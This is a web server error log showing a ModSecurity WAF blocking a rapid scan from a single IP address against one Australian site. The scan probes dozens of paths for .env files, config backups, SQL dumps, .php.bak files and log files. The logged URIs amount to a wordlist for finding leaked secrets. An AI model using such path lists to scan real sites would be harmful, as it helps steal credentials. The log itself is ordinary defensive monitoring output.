[Wed Mar 04 00:06:27.869048 2026] [:error] [pid 26186:tid 26192] [client 163.7.9.65:53990] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/control/.env"] [unique_id "aacHA_bZCNtk8wDak9fpLAAAAUQ"]
[Wed Mar 04 00:06:27.870239 2026] [:error] [pid 36783:tid 36800] [client 163.7.9.65:53918] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aacHAz4tNYh5NtLaTXfs1wAAAAY"]
[Wed Mar 04 00:06:27.873010 2026] [:error] [pid 36783:tid 36796] [client 163.7.9.65:54150] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/ch6-mytodo/.env"] [unique_id "aacHAz4tNYh5NtLaTXfs2AAAAAI"]
[Wed Mar 04 00:06:27.873647 2026] [:error] [pid 20872:tid 20881] [client 163.7.9.65:54116] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "aacHA4lYbNk3E_3CgBhHbQAAAQc"]
[Wed Mar 04 00:06:27.878038 2026] [:error] [pid 36783:tid 36806] [client 163.7.9.65:54050] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.idea/.env"] [unique_id "aacHAz4tNYh5NtLaTXfs2gAAAAw"]
[Wed Mar 04 00:06:27.878948 2026] [:error] [pid 36783:tid 36806] [client 163.7.9.65:54056] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/local/.env"] [unique_id "aacHAz4tNYh5NtLaTXfs2wAAAAw"]
[Wed Mar 04 00:06:27.879149 2026] [:error] [pid 36783:tid 36814] [client 163.7.9.65:54030] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aacHAz4tNYh5NtLaTXfs3AAAABQ"]
[Wed Mar 04 00:06:27.879857 2026] [:error] [pid 36897:tid 36919] [client 163.7.9.65:54004] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/web/.env"] [unique_id "aacHAyZC69_8eM0UouvhcAAAANE"]
[Wed Mar 04 00:06:27.880161 2026] [:error] [pid 20872:tid 20884] [client 163.7.9.65:53992] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aacHA4lYbNk3E_3CgBhHcAAAAQo"]
[Wed Mar 04 00:06:27.880798 2026] [:error] [pid 36784:tid 36826] [client 163.7.9.65:54014] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/system/.env"] [unique_id "aacHA3NeKOSGbW9kDgQXNgAAAEM"]
[Wed Mar 04 00:06:27.884251 2026] [:error] [pid 36897:tid 36903] [client 163.7.9.65:54192] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aacHAyZC69_8eM0UouvhcQAAAME"]
[Wed Mar 04 00:06:27.884829 2026] [:error] [pid 36784:tid 36836] [client 163.7.9.65:54238] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/services/.env"] [unique_id "aacHA3NeKOSGbW9kDgQXNwAAAE0"]
[Wed Mar 04 00:06:27.885900 2026] [:error] [pid 20872:tid 20895] [client 163.7.9.65:54156] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "aacHA4lYbNk3E_3CgBhHcwAAARU"]
[Wed Mar 04 00:06:27.886206 2026] [:error] [pid 36784:tid 36825] [client 163.7.9.65:54040] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/source/.env"] [unique_id "aacHA3NeKOSGbW9kDgQXOQAAAEI"]
[Wed Mar 04 00:06:27.887088 2026] [:error] [pid 36784:tid 36833] [client 163.7.9.65:54296] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/mysql.sql"] [unique_id "aacHA3NeKOSGbW9kDgQXOAAAAEo"]
[Wed Mar 04 00:06:27.887170 2026] [:error] [pid 36784:tid 36842] [client 163.7.9.65:54328] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/bookchain-client/.env"] [unique_id "aacHA3NeKOSGbW9kDgQXOgAAAFM"]
[Wed Mar 04 00:06:27.887896 2026] [:error] [pid 36897:tid 36912] [client 163.7.9.65:54268] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "aacHAyZC69_8eM0UouvhcwAAAMo"]
[Wed Mar 04 00:06:27.888871 2026] [:error] [pid 20872:tid 20885] [client 163.7.9.65:54294] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.envrc"] [unique_id "aacHA4lYbNk3E_3CgBhHdAAAAQs"]
[Wed Mar 04 00:06:27.888925 2026] [:error] [pid 36897:tid 36923] [client 163.7.9.65:54190] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/info.php.bak"] [unique_id "aacHAyZC69_8eM0UouvhcgAAANU"]
[Wed Mar 04 00:06:27.889718 2026] [:error] [pid 36897:tid 36925] [client 163.7.9.65:54202] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/files/.env"] [unique_id "aacHAyZC69_8eM0UouvhdAAAANc"]
[Wed Mar 04 00:06:27.889903 2026] [:error] [pid 20872:tid 20887] [client 163.7.9.65:54336] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/framework/.env"] [unique_id "aacHA4lYbNk3E_3CgBhHdgAAAQ0"]
[Wed Mar 04 00:06:27.890308 2026] [:error] [pid 36784:tid 36845] [client 163.7.9.65:53970] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/favicons/.env"] [unique_id "aacHA3NeKOSGbW9kDgQXOwAAAFY"]
[Wed Mar 04 00:06:27.890652 2026] [:error] [pid 36784:tid 36827] [client 163.7.9.65:54228] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env.local"] [unique_id "aacHA3NeKOSGbW9kDgQXPAAAAEQ"]
[Wed Mar 04 00:06:27.891181 2026] [:error] [pid 20872:tid 20896] [client 163.7.9.65:54214] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/install/.env"] [unique_id "aacHA4lYbNk3E_3CgBhHdwAAARY"]
[Wed Mar 04 00:06:27.892072 2026] [:error] [pid 36783:tid 36816] [client 163.7.9.65:54312] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env_old"] [unique_id "aacHAz4tNYh5NtLaTXfs3QAAABY"]
[Wed Mar 04 00:06:27.892784 2026] [:error] [pid 20872:tid 20876] [client 163.7.9.65:54262] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.backup"] [unique_id "aacHA4lYbNk3E_3CgBhHeAAAAQI"]
[Wed Mar 04 00:06:27.893484 2026] [:error] [pid 36783:tid 36801] [client 163.7.9.65:54356] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/media/.env"] [unique_id "aacHAz4tNYh5NtLaTXfs3gAAAAc"]
[Wed Mar 04 00:06:27.894544 2026] [:error] [pid 20872:tid 20886] [client 163.7.9.65:54348] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/Assignment3/.env"] [unique_id "aacHA4lYbNk3E_3CgBhHegAAAQw"]
[Wed Mar 04 00:06:27.895317 2026] [:error] [pid 20872:tid 20886] [client 163.7.9.65:54236] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cmd/testdata/expected/dot_env/.env"] [unique_id "aacHA4lYbNk3E_3CgBhHewAAAQw"]
[Wed Mar 04 00:06:27.896191 2026] [:error] [pid 20872:tid 20891] [client 163.7.9.65:54196] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/application/.env"] [unique_id "aacHA4lYbNk3E_3CgBhHfAAAARE"]
[Wed Mar 04 00:06:27.897527 2026] [:error] [pid 36783:tid 36798] [client 163.7.9.65:54284] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/logs/error.log"] [unique_id "aacHAz4tNYh5NtLaTXfs3wAAAAQ"]
[Wed Mar 04 00:06:27.899190 2026] [:error] [pid 36784:tid 36828] [client 163.7.9.65:54360] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/latest/.env"] [unique_id "aacHA3NeKOSGbW9kDgQXPQAAAEU"]
[Wed Mar 04 00:06:27.899749 2026] [:error] [pid 20872:tid 20888] [client 163.7.9.65:54164] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/ubuntu/.env"] [unique_id "aacHA4lYbNk3E_3CgBhHfQAAAQ4"]
[Wed Mar 04 00:06:27.899941 2026] [:error] [pid 20872:tid 20890] [client 163.7.9.65:54068] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/asset_img/.env"] [unique_id "aacHA4lYbNk3E_3CgBhHfgAAARA"]
[Wed Mar 04 00:06:27.914346 2026] [:error] [pid 36783:tid 36818] [client 163.7.9.65:54364] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/logging/.env"] [unique_id "aacHAz4tNYh5NtLaTXfs4AAAABg"]
[Wed Mar 04 00:06:32.856265 2026] [:error] [pid 36785:tid 36871] [client 163.7.9.65:48912] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aacHCHhJejauENG9qTg6EwAAAJU"]
[Wed Mar 04 00:06:32.857915 2026] [:error] [pid 36785:tid 36851] [client 163.7.9.65:48916] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/client/.env"] [unique_id "aacHCHhJejauENG9qTg6FQAAAIE"]
[Wed Mar 04 00:06:32.858685 2026] [:error] [pid 36785:tid 36858] [client 163.7.9.65:48908] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/ch2-mytodo/.env"] [unique_id "aacHCHhJejauENG9qTg6FgAAAIg"]
[Wed Mar 04 00:06:32.860166 2026] [:error] [pid 36785:tid 36864] [client 163.7.9.65:48974] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/react_todo/.env"] [unique_id "aacHCHhJejauENG9qTg6FwAAAI4"]
[Wed Mar 04 00:06:32.862263 2026] [:error] [pid 36785:tid 36855] [client 163.7.9.65:48930] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env_copy"] [unique_id "aacHCHhJejauENG9qTg6GQAAAIU"]
[Wed Mar 04 00:06:32.862911 2026] [:error] [pid 36785:tid 36855] [client 163.7.9.65:48962] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/docker-elk/.env"] [unique_id "aacHCHhJejauENG9qTg6GgAAAIU"]
[Wed Mar 04 00:06:32.865861 2026] [:error] [pid 36785:tid 36857] [client 163.7.9.65:49022] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production.local"] [unique_id "aacHCHhJejauENG9qTg6GwAAAIc"]
[Wed Mar 04 00:06:32.868910 2026] [:error] [pid 36785:tid 36866] [client 163.7.9.65:48998] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/src/.env"] [unique_id "aacHCHhJejauENG9qTg6HAAAAJA"]
[Wed Mar 04 00:06:32.872087 2026] [:error] [pid 36784:tid 36839] [client 163.7.9.65:49072] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/saas/.env"] [unique_id "aacHCHNeKOSGbW9kDgQXSgAAAFA"]
[Wed Mar 04 00:06:32.873520 2026] [:error] [pid 36784:tid 36837] [client 163.7.9.65:49112] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/service/.env"] [unique_id "aacHCHNeKOSGbW9kDgQXTAAAAE4"]
[Wed Mar 04 00:06:32.876515 2026] [:error] [pid 14042:tid 14061] [client 163.7.9.65:49046] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/d/.env"] [unique_id "aacHCGeHGCmSEiIBcK6VuQAAAZE"]
[Wed Mar 04 00:06:32.877509 2026] [:error] [pid 36784:tid 36824] [client 163.7.9.65:49122] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/back-end/app/.env"] [unique_id "aacHCHNeKOSGbW9kDgQXUAAAAEE"]
[Wed Mar 04 00:06:32.877670 2026] [:error] [pid 36784:tid 36846] [client 163.7.9.65:49096] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/conn.php.bak"] [unique_id "aacHCHNeKOSGbW9kDgQXTwAAAFc"]
[Wed Mar 04 00:06:32.877830 2026] [:error] [pid 36784:tid 36823] [client 163.7.9.65:49124] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/tmp/config/.env"] [unique_id "aacHCHNeKOSGbW9kDgQXUQAAAEA"]
[Wed Mar 04 00:06:32.878595 2026] [:error] [pid 14042:tid 14064] [client 163.7.9.65:49082] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/prod/.env"] [unique_id "aacHCGeHGCmSEiIBcK6VugAAAZQ"]
[Wed Mar 04 00:06:32.882084 2026] [:error] [pid 36784:tid 36831] [client 163.7.9.65:49142] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/settings.php.bak"] [unique_id "aacHCHNeKOSGbW9kDgQXUgAAAEg"]
[Wed Mar 04 00:06:32.883443 2026] [:error] [pid 36784:tid 36825] [client 163.7.9.65:49130] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/server.log"] [unique_id "aacHCHNeKOSGbW9kDgQXUwAAAEI"]
[Wed Mar 04 00:06:32.886532 2026] [:error] [pid 14042:tid 14062] [client 163.7.9.65:49170] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/horde/.env"] [unique_id "aacHCGeHGCmSEiIBcK6VvQAAAZI"]
[Wed Mar 04 00:06:32.887513 2026] [:error] [pid 14042:tid 14060] [client 163.7.9.65:49138] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.docker/.env"] [unique_id "aacHCGeHGCmSEiIBcK6VvwAAAZA"]
[Wed Mar 04 00:06:32.888983 2026] [:error] [pid 14042:tid 14063] [client 163.7.9.65:49180] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/.bak"] [unique_id "aacHCGeHGCmSEiIBcK6VvgAAAZM"]
